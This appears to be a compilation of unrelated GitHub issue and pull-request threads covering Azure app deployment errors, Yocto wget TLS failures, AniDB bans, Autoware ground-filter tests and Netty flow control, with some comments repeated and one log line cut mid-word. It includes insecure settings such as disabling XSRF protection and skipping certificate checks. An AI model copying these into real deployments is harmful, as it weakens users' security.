Admin Site Web App not working after deploying code into Azure

Please find the below error message which am getting.   2024-03-04T04:41:20.925262850Z Documentation: http://aka.ms/webapp-linux
2024-03-04T04:41:20.925266450Z Python 3.11.4
2024-03-04T04:41:20.925269950Z Note: Any data outside '/home' is not persisted
2024-03-04T04:41:50.072947702Z Starting OpenBSD Secure Shell server: sshd.
2024-03-04T04:41:50.525420629Z Site's appCommandLine: python -m streamlit run Admin.py --server.port 8000 --server.address <IP_ADDRESS> --server.enableXsrfProtection false
2024-03-04T04:41:50.532551653Z Launching oryx with: create-script -appPath /home/site/wwwroot -output /opt/startup/startup.sh -virtualEnvName antenv -defaultApp /opt/defaultsite -userStartupCommand 'python -m streamlit run Admin.py --server.port 8000 --server.address <IP_ADDRESS> --server.enableXsrfProtection false'
2024-03-04T04:41:50.805319774Z Could not find build manifest file at '/home/site/wwwroot/oryx-manifest.toml'
2024-03-04T04:41:50.811788596Z Could not find operation ID in manifest. Generating an operation id...
2024-03-04T04:41:50.821515029Z Build Operation ID: 5081fd40-a8d9-4ca1-9dbf-5c721222cef9
2024-03-04T04:41:51.874512183Z Oryx Version: 0.2.20230707.1, Commit: 0bd28e69919b5e8beba451e8677e3345f0be8361, ReleaseTagName: 20230707.1
2024-03-04T04:41:51.885344420Z Writing output script to '/opt/startup/startup.sh'
2024-03-04T04:41:51.936363192Z WARNING: Could not find virtual environment directory /home/site/wwwroot/antenv.
2024-03-04T04:41:51.936473792Z WARNING: Could not find package directory /home/site/wwwroot/oryx_packages.
2024-03-04T04:41:52.345043871Z /opt/python/3/bin/python: No module named streamlit
g warmup request to container xx-groupii-website-erndmgle2f4ma-admin_0_dff2a433_msiProxy for site xx-groupii-website-erndmgle2f4ma-admin
2024-03-04T04:41:31.936Z INFO  - Container xx-groupii-website-erndmgle2f4ma-admin_0_dff2a433_msiProxy for site xx-groupii-website-erndmgle2f4ma-admin initialized successfully and is ready to serve requests.
2024-03-04T04:41:31.937Z INFO  - Initiating warmup request to container xx-groupii-website-erndmgle2f4ma-admin_0_dff2a433 for site xx-groupii-website-erndmgle2f4ma-admin
2024-03-04T04:41:52.852Z INFO  - Waiting for response to warmup request for container xx-groupii-website-erndmgle2f4ma-admin_0_dff2a433. Elapsed time = 21.3431226 sec
2024-03-04T04:41:54.625Z ERROR - Container xx-groupii-website-erndmgle2f4ma-admin_0_dff2a433 for site xx-groupii-website-erndmgle2f4ma-admin has exited, failing site start
2024-03-04T04:41:54.627Z INFO  - Initiating warmup request to container xx-groupii-website-erndmgle2f4ma-admin_0_dff2a433_middleware for site xx-groupii-website-erndmgle2f4ma-admin
2024-03-04T04:42:04.022Z INFO  - Container xx-groupii-website-erndmgle2f4ma-admin_0_dff2a433_middleware for site xx-groupii-website-erndmgle2f4ma-admin initialized successfully and is ready to serve requests.
2024-03-04T04:42:04.112Z ERROR - Container xx-groupii-website-erndmgle2f4ma-admin_0_dff2a433 didn't respond to HTTP pings on port: 8000, failing site start. See container logs for debugging.
2024-03-04T04:42:04.227Z INFO  - Stopping site xx-groupii-website-erndmgle2f4ma-admin because it failed during startup.

Hi @sreedharguda - were you running this in a devcontainer / code spaces or natively on your linux machine?

running this in a devcontainer and seeing the same logs

Hi @sreedharguda - were you running this in a devcontainer / code spaces or natively on your linux machine?

Hi @ross-p-smith , Yes, am doing this deployment in Azure subscription by using infra deployment under the docs folder (https://github.com/Azure-Samples/chat-with-your-data-solution-accelerator/blob/main/docs/INFRA_DEPLOYMENT.md). I used the linux container in web apps. Thank you.

Hi @sreedharguda - the accelerator doesn't use the docker images anymore. (I know that they are incorrectly in the repo at this point). The happy path of installing this is to use azd up from the devcontainer. I will delete everything, clone and see if this works

running this in a devcontainer and seeing the same logs

Are you also building and deploying docker images to the app service or are you using either azd up or az deploy web / az deploy adminweb / az deploy function?

running this in a devcontainer and seeing the same logs

Are you also building and deploying docker images to the app service or are you using either azd up or az deploy web / az deploy adminweb / az deploy function?

Hi @ross-p-smith am deploying this accelerator by using the Deploy to Azure Option (https://github.com/Azure-Samples/chat-with-your-data-solution-accelerator/blob/ross/removeDocker/docs/INFRA_DEPLOYMENT.md). Please suggest me which one have to follow to build this solution in Azure env.

Thanks @sreedharguda. The easiest way is to simply use azd auth login and then azd up.
https://github.com/Azure-Samples/chat-with-your-data-solution-accelerator?tab=readme-ov-file#deploy-instructions
You may be able to use azd env command to reuse your previous deployment - but I have never tried this. I know it's a pain, but you are much better deleting the deployment you previously created with ARM and using azd instead. This will generate you an .env file and allow you to debug locally more easily.

Thanks @sreedharguda. The easiest way is to simply use azd auth login and then azd up. https://github.com/Azure-Samples/chat-with-your-data-solution-accelerator?tab=readme-ov-file#deploy-instructions
You may be able to use azd env command to reuse your previous deployment - but I have never tried this. I know it's a pain, but you are much better deleting the deployment you previously created with ARM and using azd instead. This will generate you an .env file and allow you to debug locally more easily.

Hi @ross-p-smith , Thank you for your response, have tried that method but am getting this error while running the docker.
https://github.com/Azure-Samples/chat-with-your-data-solution-accelerator/tree/ross/removeDocker?tab=readme-ov-file
Start Docker Desktop (install it if not already installed)
Open the project: Open in Dev Containers
In the VS Code window that opens, once the project files show up (this may take several minutes), open a terminal window
#0 17.37 ERROR: Feature "Docker (docker-outside-of-docker)" (ghcr.io/devcontainers/features/docker-outside-of-docker) failed to install! Look at the documentation at https://github.com/devcontainers/features/tree/main/src/docker-outside-of-docker for help troubleshooting this error.
Dockerfile.extended:50
49 |
50 | >>> RUN --mount=type=bind,from=dev_containers_feature_content_source,source=docker-outside-of-docker_2,target=/tmp/build-features-src/docker-outside-of-docker_2
51 | >>>     cp -ar /tmp/build-features-src/docker-outside-of-docker_2 /tmp/dev-container-features
52 | >>>  && chmod -R 0755 /tmp/dev-container-features/docker-outside-of-docker_2
53 | >>>  && cd /tmp/dev-container-features/docker-outside-of-docker_2
54 | >>>  && chmod +x ./devcontainer-features-install.sh
55 | >>>  && ./devcontainer-features-install.sh
56 | >>>  && rm -rf /tmp/dev-container-features/docker-outside-of-docker_2

57

error: failed to solve: process "/bin/sh -c cp -ar /tmp/build-features-src/docker-outside-of-docker_2 /tmp/dev-container-features  && chmod -R 0755 /tmp/dev-container-features/docker-outside-of-docker_2  && cd /tmp/dev-container-features/docker-outside-of-docker_2  && chmod +x ./devcontainer-features-install.sh  && ./devcontainer-features-install.sh  && rm -rf /tmp/dev-container-features/docker-outside-of-docker_2" did not complete successfully: exit code: 1

[144690 ms] Error: Command failed: docker buildx build --load --build-context dev_containers_feature_content_source=/tmp/devcontainercli-root/container-features/0.56.2-1709566001811 --build-arg _DEV_CONTAINERS_BASE_IMAGE=mcr.microsoft.com/devcontainers/python:1-3.11-bullseye --build-arg _DEV_CONTAINERS_IMAGE_USER=root --build-arg _DEV_CONTAINERS_FEATURE_CONTENT_SOURCE=dev_container_feature_content_temp --target dev_containers_target_stage -t vsc-chat-with-your-data-solution-accelerator-3d01b35833f1f2e31347906017ef6773ac64a30fb0dc85306afc4a15c0f16af6-features -f /tmp/devcontainercli-root/container-features/0.56.2-1709566001811/Dockerfile.extended /tmp/devcontainercli-root/empty-folder

[144691 ms]     at atA (/root/.vscode-remote-containers/dist/dev-containers-cli-0.348.0/dist/spec-node/devContainersSpecCLI.js:464:1260)

[144691 ms]     at yH (/root/.vscode-remote-containers/dist/dev-containers-cli-0.348.0/dist/spec-node/devContainersSpecCLI.js:464:1002)

[144691 ms]     at processTicksAndRejections (node:internal/process/task_queues:96:5)

[144692 ms]     at async StA (/root/.vscode-remote-containers/dist/dev-containers-cli-0.348.0/dist/spec-node/devContainersSpecCLI.js:481:3660)

[144692 ms]     at async ZC (/root/.vscode-remote-containers/dist/dev-containers-cli-0.348.0/dist/spec-node/devContainersSpecCLI.js:481:4775)

[144692 ms]     at async trA (/root/.vscode-remote-containers/dist/dev-containers-cli-0.348.0/dist/spec-node/devContainersSpecCLI.js:614:11269)

[144692 ms]     at async erA (/root/.vscode-remote-containers/dist/dev-containers-cli-0.348.0/dist/spec-node/devContainersSpecCLI.js:614:11010)

[144751 ms] Exit code 1

[144752 ms] Start: Run: docker rm -f b4e73356570c0884b831ceec96acadf9de627f61a43df9b5a80dd1d6d3fac793

[144757 ms] Command failed: node /root/.vscode-remote-containers/dist/dev-containers-cli-0.348.0/dist/spec-node/devContainersSpecCLI.js up --container-session-data-folder /tmp/devcontainers-1299b2a8-a2a0-4602-9afa-ba121bd179ca1709565897775 --workspace-folder /workspaces/chat-with-your-data-solution-accelerator --workspace-mount-consistency cached --id-label vsch.local.repository=https://github.com/azure-samples/chat-with-your-data-solution-accelerator --id-label vsch.local.repository.volume=chat-with-your-data-solution-accelerator-798e1b1c4cafef0adf40169ae01d318612925cda43582b440e22d12d9d1aa2a5 --id-label vsch.local.repository.folder=chat-with-your-data-solution-accelerator --id-label devcontainer.config_file=/workspaces/chat-with-your-data-solution-accelerator/.devcontainer/devcontainer.json --log-level debug --log-format json --config /workspaces/chat-with-your-data-solution-accelerator/.devcontainer/devcontainer.json --override-config /tmp/devcontainer-4bb70ea7-d3a4-4e6d-9779-ceccf2e0665c.json --default-user-env-probe loginInteractiveShell --mount type=volume,source=chat-with-your-data-solution-accelerator-798e1b1c4cafef0adf40169ae01d318612925cda43582b440e22d12d9d1aa2a5,target=/workspaces,external=true --mount type=volume,source=vscode,target=/vscode,external=true --mount type=bind,source=\wsl.localhost\Ubuntu\mnt\wslg\runtime-dir\wayland-0,target=/tmp/vscode-wayland-d345e540-6467-4498-bf6a-7ab0cae62f89.sock --skip-post-create --update-remote-user-uid-default off --mount-workspace-git-root --terminal-columns 121 --terminal-rows 15

[144757 ms] Exit code 1

[148133 ms] Container server terminated (code: 137, signal: null).

Hi there, thanks for the info.
(This is all before you have touched this repo)

Windows
Hi @ross-p-smith , Yes, docker is running on my windows machine and when i run the "Open in Dev Containers" in VS Code, am getting this error. Please help me how to resolve the issue or correct me if am running it differently. Thank you.

Thank you for bearing with me on this. I have just tried to click that button on the Readme and I get an error too. I think we could do much better getting this to work.

From a WSL terminal, go to a directory where you will keep your source code. (e.g. src). This will be a Linux location, not a Windows location
type git clone https://github.com/Azure-Samples/chat-with-your-data-solution-accelerator.git
cd into the directory you have just cloned.
type code . to open the solution in WSL.
Ensure that you have the "Remote Development" extension installed in your vscode
The project will open and a pop should appear

say yes

If you dont see that pop-up then click the >< in the bottom left corner and chose "Reopen in container"

Thank you for bearing with me on this. I have just tried to click that button on the Readme and I get an error too. I think we could do much better getting this to work.
1. From a WSL terminal, go to a directory where you will keep your source code. (e.g. src). This will be a Linux location, not a Windows location

2. type `git clone https://github.com/Azure-Samples/chat-with-your-data-solution-accelerator.git`

3. `cd` into the directory you have just cloned.

4. type `code .` to open the solution in WSL.

5. Ensure that you have the "Remote Development" extension installed in your vscode

6. The project will open and a pop should appear
   ![image](https://private-user-images.githubusercontent.com/6254153/309824523-40d666e1-8468-4a18-ba4f-0f2fe89bf4ee.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MDk3ODYxMTMsIm5iZiI6MTcwOTc4NTgxMywicGF0aCI6Ii82MjU0MTUzLzMwOTgyNDUyMy00MGQ2NjZlMS04NDY4LTRhMTgtYmE0Zi0wZjJmZTg5YmY0ZWUucG5nP1gtQW16LUFsZ29yaXRobT1BV1M0LUhNQUMtU0hBMjU2JlgtQW16LUNyZWRlbnRpYWw9QUtJQVZDT0RZTFNBNTNQUUs0WkElMkYyMDI0MDMwNyUyRnVzLWVhc3QtMSUyRnMzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyNDAzMDdUMDQzMDEzWiZYLUFtei1FeHBpcmVzPTMwMCZYLUFtei1TaWduYXR1cmU9YTQ3NWVkMjE5ZjU0ZDg4NGNlOTMzZDRkYWJlNDc0ZTRhYzdhNTlkNjJlNzlkMGJlNmI4MmQ4MzA1OWUzZTRiNSZYLUFtei1TaWduZWRIZWFkZXJzPWhvc3QmYWN0b3JfaWQ9MCZrZXlfaWQ9MCZyZXBvX2lkPTAifQ.Vg-EvQ8YkJw2sPIKSn-b5OwwzczGUiX_IU3CRY9JD30)

* say yes

7. If you dont see that pop-up then click the >< in the bottom left corner and chose "Reopen in container"
   ![image](https://private-user-images.githubusercontent.com/6254153/309824665-154e9364-817e-484a-aaa8-cabbdc8dad56.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MDk3ODYxMTMsIm5iZiI6MTcwOTc4NTgxMywicGF0aCI6Ii82MjU0MTUzLzMwOTgyNDY2NS0xNTRlOTM2NC04MTdlLTQ4NGEtYWFhOC1jYWJiZGM4ZGFkNTYucG5nP1gtQW16LUFsZ29yaXRobT1BV1M0LUhNQUMtU0hBMjU2JlgtQW16LUNyZWRlbnRpYWw9QUtJQVZDT0RZTFNBNTNQUUs0WkElMkYyMDI0MDMwNyUyRnVzLWVhc3QtMSUyRnMzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyNDAzMDdUMDQzMDEzWiZYLUFtei1FeHBpcmVzPTMwMCZYLUFtei1TaWduYXR1cmU9ZDIwMDQ2NjhmMDE4NjQ1ZGVjYmY5OTA1ZTlhMjY4MTIxYjBkNjg1NDJiMTA0ZDVmY2YzYzhlMzQzOGEwODVmNSZYLUFtei1TaWduZWRIZWFkZXJzPWhvc3QmYWN0b3JfaWQ9MCZrZXlfaWQ9MCZyZXBvX2lkPTAifQ.EM4XuTg9SmOlit_ilYQdC52TyOzUNu_ggg7WMoPgJxI)

Hi @ross-p-smith  is there anyway we can deploy this without WSL. Please help me that path. Thank you.

Hi @ross-p-smith,  I followed the article https://github.com/Azure-Samples/chat-with-your-data-solution-accelerator/blob/main/docs/NON_DEVCONTAINER_SETUP.md and able to create the resources in Azure. When i am trying to upload the document from Admin app service getting the below error. Could you please suggest on this error.
Traceback (most recent call last): File "/tmp/8dc3f4641e59718/pages/01_Ingest_Data.py", line 204, in  upload_file(bytes_data, up.name) File "/tmp/8dc3f4641e59718/pages/01_Ingest_Data.py", line 146, in upload_file env_helper.AZURE_KEY_VAULT_ENDPOINT, credential ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ AttributeError: 'EnvHelper' object has no attribute 'AZURE_KEY_VAULT_ENDPOINT'

Hi @sreedharguda - is this now the same as #387?

Hi @sreedharguda - is this now the same as #387?

Hi @ross-p-smith , Yes, thats true. I was able to resolve this issue by making the changes as mentioned #387.

Closing this based on the previous answer


Revert "Restore user's UI options when switching tabs"

Reverts nvimdev/dashboard-nvim#455

Thanks!


Side menu powered by JavaScript button

Hi @joemasilotti, I would like to know how this is done?

@joemasilotti I figured it out already, and so is the button on the  right navbar.


wget not work in pi4 yocto image.how can I do?

wget -O Mambaforge.sh "https://github.com/conda-forge/miniforge/releases/latest/download/Miniforge3-$(uname)-$(uname -m).sh"
Connecting to github.com (<IP_ADDRESS>:443)
wget: note: TLS certificate validation not implemented
wget: TLS error from peer (alert code 80): 80
wget: error getting response: Connection reset by peer
I add --no-check-certificate  , but same issue.
I can ping www.google.ca
I tried
IMAGE_INSTALL_append = " ca-certificates" in local.conf,
but same issue
any help?

Two years ago I also had problems with the certificate check with wget. But only on 32 bit ARM machines. It helped me to link against openssl instead of gnutls.
Since then I use the following bbappend ( recipes-extended/wget/wget_%.bbappend ) :
# Currently the combination of wget and gnutls seems to be broken on 32 bit ARM devices.
# HTTPS downloads fail with the following error message:
#
# root@qemuarm:~# wget -4 https://speed.hetzner.de/100MB.bin
# --2022-02-04 07:46:37--  https://speed.hetzner.de/100MB.bin
# SSL_INIT
# Resolving speed.hetzner.de... <IP_ADDRESS>
# Connecting to speed.hetzner.de|<IP_ADDRESS>|:443... connected.
# The certificate has not yet been activated
#
# Therefore, we are currently building wget against openSSL.
PACKAGECONFIG:remove = "gnutls"
PACKAGECONFIG:append = " openssl"

Here is the link to the discussion on the mailing list at the time: https://lists.yoctoproject.org/g/yocto/topic/88879516#msg56053

@matthiasklein  Thank you so much. let me try

@matthiasklein
can not solve the issue. I use 64bit.
my meta-raspberrypi commit is (a few year ago commit)
e1014d41ef459af807f95cb7ff9105f077bc6daa


Using Transforms

@richardschneider that is not bug, sorry for this. But I am so new using CLDR and slogging to understand. I have a project which was writing .NET. I found your .NET wrapper. So my question is about this http://cldr.unicode.org/translation/transforms page. I would like to transform Chinese or Japanese or Russian or Greek person name to roman writing. For example;
キャンパス  -> kyanpasu
Αλφαβητικός Κατάλογος -> Alphabētikós Katálogos
биологический  -> biologicheskij
Thank you in advance

Sorry, but I'm not interested in transforms.  However, I will accept a Pull Request.


Ban from anidb (555)

I've been getting these quite for some time already: getting data from anidb results in "Paused due to BAN from AniDB (UDP)"
In log:
[2015-05-25 20:39:24:741] Info|AniDBCommand_Login.Process => AniDBUDPCommand.ProcessCommand => JMMService.LogToDatabase AniDB UDP - UDP_RESPONSE_TRUNC in 593,5952ms - 555 BANNED Excessive"
I tried waiting for days and weeks between launching JMM again, but the issue persist.
I can use anidb website with no issues, and have no notifications of misconduct.
Restarting anidb queue results in these messages in log for each action:
Error|AniDBHelper.Login => AniDBCommand_Login.Process => AniDBUDPCommand.ProcessCommand System.Net.Sockets.SocketException (0x80004005): A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond
at System.Net.Sockets.Socket.ReceiveFrom(Byte[] buffer, Int32 offset, Int32 size, SocketFlags socketFlags, EndPoint& remoteEP)
at System.Net.Sockets.Socket.ReceiveFrom(Byte[] buffer, EndPoint& remoteEP)
at AniDBAPI.Commands.AniDBUDPCommand.ProcessCommand(Socket& soUDP, IPEndPoint& remoteIpEndPoint, String sessionID, Encoding enc) in c:\Projects\GitHub\JMMServer\JMMServer\AniDB_API\Commands\AniDBUDPCommand.cs:line 123
JMM server version reports <IP_ADDRESS>
It updated today, but was already <IP_ADDRESS> before update.
What should I do?
I'd like to get this to work, JMM was the only thing that made managing my collection feasible.

Hi, this can happen every now and then with AniDB.
The best thing to do is raise an issue on the AniDB forum and get the ban removed.
I have discussed this with Ommina in the past before.
Raise the issue here
http://anidb.net/perl-bin/animedb.pl?show=threads&id=19
To get a good response make sure you provide the following details

You IP Address
Ban is from the UDP API, not the HTTP API
The Client you are using : JMM Server
The above error message "555 BANNED Excessive"

Ommina said "excessive" = "wrong password" in my case. I would have never guessed.
So it's starting to make some sense now. I think thats what happened:

when I became unable to sync stuff to anidb (around February?) I found issue #132 discussion, suggesting to update. I re-read logs, I had 504 at that time. Since autoupdating didn't work, I reinstalled JMM.
I seem to fk up entering password, so I still got rejected from anidb, but for another reason, and I didn't notice
error message did not relate to actual problem

Even after changing password, it took me a few restarts until things start working - I was getting timeout errors like the one in OP. But this is possibly related to my ISP failing me these days with pings of over 1000ms to api,anidb.info (in fact, to anywhere, including network gateway the next hop from my router).
Thank you for your help!


proxy setting

chatgpt is not valiable in some countries so proxy setting is nessesary

It can setting and switch on win10 proxy to login chatgpt


Linux docs changes

Main things included in this PR:

Edited the wording of the EA App warning to better reflect the actual functionality. Compatibility is not broken if the user has signed into EA App, at least according to my testing.

Move all Linux docs to a new section called SteamDeck and Linux so users can more easily find installation documentation.

Moved troubleshooting to its own page.

Added a troubleshooting section about fixing blank EA App under NorthstarProton

I have absolutely no clue how Gitbook handles sidebar structure so I took my best guess, let me know if anything is bad/needs changes.

@GeckoEidechse I've added Protonup-QT and ProtonPlus as valid methods of installing NorthstarProton since both of these PRs have been merged:
https://github.com/Vysp3r/ProtonPlus/pull/23
https://github.com/DavidoTek/ProtonUp-Qt/pull/144


test: add test(ray_ground_filter/scan_ground_filter) and fix bug for ray_ground_filter

Signed-off-by: suchang<EMAIL_ADDRESS>Description
add test for ray_ground_filter
Related links
#1384
Tests performed
TestCase1 for base_frame:'base_link',TestCase2 for base_frame:'velodyne_top'

after add z_offset,when set base_frame to a non-ground frame,it can still remove ground points well

test scan_ground_filter

Notes for reviewers
will remove std::cout after review
Pre-review checklist for the PR author
The PR author must check the checkboxes below when creating the PR.

[x] I've confirmed the contribution guidelines.
[x] The PR follows the pull request guidelines.

In-review checklist for the PR reviewers
The PR reviewers must check the checkboxes below before approval.

[ ] The PR follows the pull request guidelines.
[ ] The PR has been properly tested.
[ ] The PR has been reviewed by the code owners.

Post-review checklist for the PR author
The PR author must check the checkboxes below before merging.

[ ] There are no open discussions or they are tracked via tickets.
[ ] The PR is ready for merge.

After all checkboxes are checked, anyone who has write access can merge the PR.

@storrrrrrrrm thank you for PR :+1:
@miursh @badai-nguyen I have one question.
In this PR, z offset is added, but I believe this originally assumed input at the base link.
Even if the input topic is not a base link, the super class(Filter) can convert it to a base link, so z offest is not necessary.
Is it correct? :pray:

@yukkysaito yes, that is right. I don't agree with adding z offset.
As I mentioned here, the algorithm only support output frame as base_link. The input frame does not have to be base link since transform pointcloud function is implemented in this node.
The problem is, the output frame (param base_frame_) can be customized even though the algorithm does NOT consider. https://github.com/autowarefoundation/autoware.universe/blob/main/perception/ground_segmentation/src/scan_ground_filter_nodelet.cpp#L40

@yukkysaito @miursh do you mean that "base_frame" is actually a non-modified parameter?

@storrrrrrrrm

do you mean that "base_frame" is actually a non-modified parameter?

Right. I mean it. But let me check the codes to confirm.
Do I need to output obstacle points as some frame other than a base_link?

@storrrrrrrrm

do you mean that "base_frame" is actually a non-modified parameter?

Right. I mean it. But let me check the codes to confirm. Do I need to output obstacle points as some frame other than a base_link?

no need,it does not matter at which frame you visualize  no-ground-cloud

@yukkysaito is this still being reviewed? Are there any blockers on this PR?

@xmfcx sorry for late reply. I was on vacation.
@miursh @storrrrrrrrm
I think if you want to output with velodyne top, just set the input frame to base_link and the output frame to velodyne top.

scan_ground_filter works well when 'base_frame' set to 'velodyne_top'

@miursh @badai-nguyen It seems to be bug. can you check this?

@storrrrrrrrm could you please rebase this PR to main so that @yukkysaito can review again?

@storrrrrrrrm could you please rebase this PR to main?

@storrrrrrrrm could you please rebase this PR to main?

latest main branch code merged  and add read params from ground_segmentation.param.yaml

@miursh Would you be able to re-review this PR, or assign someone to do it?

@mitsudome-r Thanks for the reminder. I think @badai-nguyen was working on review this PR, but me and him are away for field experiments this week, so please give me some more days.

@storrrrrrrrm could you rebase this PR to main branch and look into the review here? Thanks! https://github.com/autowarefoundation/autoware.universe/pull/1401#pullrequestreview-1145044407

@storrrrrrrrm could you rebase this PR to main branch and look into the review here? Thanks! #1401 (review)

sorry for late reply.  now latest code merged and more params  added to test code according to review opinion.

LGTM
@miursh @badai-nguyen can review again?

@storrrrrrrrm Is this PR ready to be merged? Is there any concerns left?

@storrrrrrrrm Is this PR ready to be merged? Is there any concerns left?

it is ready, no concerns for now.

So, it would be better to make a copy of tier4_perception_launch/config/obstacle_segmentation/ground_segmentation.param.yaml to ground_segmentation/config/ground_segmentation.param.yaml and refer to it.

read params from ground_segmentation.param.yaml comes from badai-nguyen  opinion

IMO, it is better to parse parameters from file such as ground_segmentation.param.yaml since the parameters might be changed when algorithm is updated

and i think he is right,so I think it is more appropriate to keep just single configuration file,otherwise, you need to ensure that the two files are synchronized.  so i change code to
    const auto share_dir = ament_index_cpp::get_package_share_directory("ground_segmentation");
    const auto tier4_perception_launch_share_dir = share_dir + "/../../../tier4_perception_launch/share/tier4_perception_launch";
    const auto config_path =
      tier4_perception_launch_share_dir +
      "/config/obstacle_segmentation/ground_segmentation/ground_segmentation.param.yaml";

@storrrrrrrrm I see. But according to this, we are going to move config file under the ground segmentation package. Once that is done, I will change the path.
BTW, there are another CI errors...

@storrrrrrrrm I see. But according to this, we are going to move config file under the ground segmentation package. Once that is done, I will change the path. BTW, there are another CI errors...

The following tests FAILED:
3 - lint_cmake (Failed)
Errors while running CTest
Output from these tests are in: /__w/autoware.universe/autoware.universe/build/ground_segmentation/Testing/Temporary/LastTest.log
Use "--rerun-failed --output-on-failure" to re-run the failed cases verbosely.

can you login into the ci server and directly execute test case?  it is  too troublesome for me to debug ci error in local environment. test case works fine in local environment

Hi，mits-san can you help us with this one，
i look into the ci result and find that the error has nothing to do with this pr except some spell error，
lucas

You don't have to worry about the errors coming from the code that are not changed (They are not required CIs to pass) so I think we can merge this PR.
Before I merge this, I just want to confirm that original description says:

will remove std::cout after review

under "Notes for Reviewers" section, and there seems to be some codes with std::cout. Do you want to remove them before merging?

You don't have to worry about the errors coming from the code that are not changed (They are not required CIs to pass) so I think we can merge this PR. Before I merge this, I just want to confirm that original description says:

will remove std::cout after review

under "Notes for Reviewers" section, and there seems to be some codes with std::cout. Do you want to remove them before merging?

comment std::cout already. not remove them just for a easier debug in case test cases failed.

Hi, @mitsudome-r .Our engineer has rebase this pr, please help us review it.


Typo fixed in isDigit

By the way, why didn’t you do ch >= '0' && ch <= '9'?

Cause I'm kinda terrible at programming sometimes :)


fix footer links

relative → absolute

@brandoncurtis What are you doing on here? :smile:

@lindsayad I'm building a list of academic and personal websites that use Jekyll, Hugo, Pelican, &etc :white_check_mark:


In JavaScript, strings are not errors!

See http://www.devthought.com/2011/12/22/a-string-is-not-an-error/
PS: I also fixed URLs in the README file

Superseded by https://github.com/googlei18n/libphonenumber/pull/1459


CloudFormation did not receive a response from your Custom Resource [UserPoolClientInputs].

How did you install the Amplify CLI?
npm
If applicable, what version of Node.js are you using?
v18.12.0
Amplify CLI Version
v12.10.1
What operating system are you using?
Windows 11
Did you make any manual changes to the cloud resources managed by Amplify? Please describe the changes made.
Updated the runtime version of [UserPoolClientLambda] in cloudformation-temlate.yml to v18 in the backend/auth folder.  [UserPoolClientLambda] resource wouldn't create until the runtime update. But now [UserPoolClientInputs] fails
Describe the bug
Logical ID: [UserPoolClientInputs]
Type: Custom::LambdaCallout
Creating of the above resource fails when cloning an existing env on aws using amplify
Expected behavior
The resources get created successfully
Reproduction steps
1.amplify pull --appId projectiedntifier --envName
2.amplify env add
3.Updated the runtime version of [UserPoolClientLambda] in cloudformation-temlate.yml to v18 in the backend/auth folder
4.amplify push
Note, creation of [UserPoolClientLambda] fails without step 3
Project Identifier
a654c50d1347b00bb26cfc532f1f832a
Log output

# Put your logs below this line

Additional information
CloudFormation did not receive a response from your Custom Resource.  If you are using the Python cfn-response module, you may need to update your Lambda function code so that CloudFormation can attach the updated version.
Before submitting, please confirm:

[X] I have done my best to include a minimal, self-contained set of instructions for consistently reproducing the issue.
[X] I have removed any sensitive information from my code snippets and submission.

Hey @musukwamoshi, Thank you for reaching out. From the information provided noticed the project utilizes a un-migrated auth resource. We can migrate the auth resource by running amplify update auth which should prompt to migrate by selecting yes.
The issue occurs on the Lambda function(UserPoolClientInputs) tied to Node.js 18 runtime which utilizes AWS SDK for javascript v3. Please refer to https://aws.amazon.com/blogs/compute/node-js-18-x-runtime-now-available-in-aws-lambda/ providing additional information on this change.


Adding UniformStreamByteDistributor

Motivation:
The current priority algorithm can yield poor per-stream goodput when either the number of streams is high or the connection window is small. When all priorities are the same (i.e. priority is disabled), we should be able to do better.
Modifications:
Added a new UniformStreamByteDistributor that ignores priority entirely and manages a queue of streams.  Each stream is allocated a minimum of 1KiB on each iteration.
Result:
Improved goodput when priority is not used.

 Looks good! Can we tie this distributor into unit tests? Particularly into tests with EMPTY frames?

@normanmaurer @Scottmitch PTAL

@Scottmitch @normanmaurer PTAL

@Scottmitch @ejona86 @normanmaurer I've updated the benchmarks with additional counters to keep track of: minimum bytes written per stream, total written per stream, and number of streams written (all per invocation averages).
It's pretty clear now that the per-stream goodput blows away the priority tree algorithm.

@nmittler ship it dude!

@Scottmitch any other comments before I cherry-pick?

@nmittler - LGTM! Thanks for the updated benchmarks and tests!

@nmittler, LGTM, and we can iterate.

@ejona86 @Scottmitch @normanmaurer I've reworked this so that we don't bother combining writes. This simplifies the code a bit.
I also removed the use of Mockito in the benchmarks as this was showing up as a hotspot in the profiler and was corrupting the benchmarks.  The updated benchmark results show that the new algorithm blows away the priority algorithm on all fronts (including throughput).

@Scottmitch PTAL

@Scottmitch @ejona86 PTAL

@nmittler LGTM

@normanmaurer @Scottmitch @ejona86 PTAL
I've simplified the benchmark class and gave it better counters to make the picture more clear.
I also fixed a bug in the flow controller where it was updating stream state with streamable bytes but no frame.

FYI, there are some other bugs in DefaultHttp2RemoteFlowController that I'm tracking down which are causing the test failures.  Stay tuned...

@Scottmitch @ejona86 I've found a few bugs in DefaultHttp2RemoteFlowController that are blocking this issue and have created PR #4483 to fix it.  Once that's in I'll rebase and ping you for another look.

@Scottmitch @ejona86 I've rebased on top of the flow controller fix.  PTAL

@nmittler, still LGTM

@nmittler
Given that we're now allocating more bytes per write to a stream at a time I suspect the change proposed here
https://github.com/netty/netty/issues/3966
would be even more beneficial

@Scottmitch PTAL

@nmittler - Good work! ship it!

@nmittler @Scottmitch :beers:

Thanks for the review guys!
Cherry-picked into master (ebfe3d2) and 4.1 (2a2059d)


Package Dependency is Misleading

Expected Behavior
All packages which are needed at run time like cbor, should be configured under dependencies rather than devDependencies in pakcage.json.
Actual Behavior
dependencies is currently empty and all dependencies are listed as devDependencies in package.json currently.
Steps to Reproduce the Problem

Please check package.json

Specifications

Version: 1.1.0
Platform: All

We vendor all of our dependencies. When we had it all separated, we had an issue where Buffer implementation that gets bundled for browser differed from the one that gets bundled for CBOR dependency. Sometimes it would be UInt8Array, sometimes something else. When we require directly, we control what goes into the resulting bundle and we can be sure that only the implementation of Buffer that is currently in the bundled JS file is the one to be used.

Thanks for explanation.


Swift AccessUtils: improvements and bug fixes

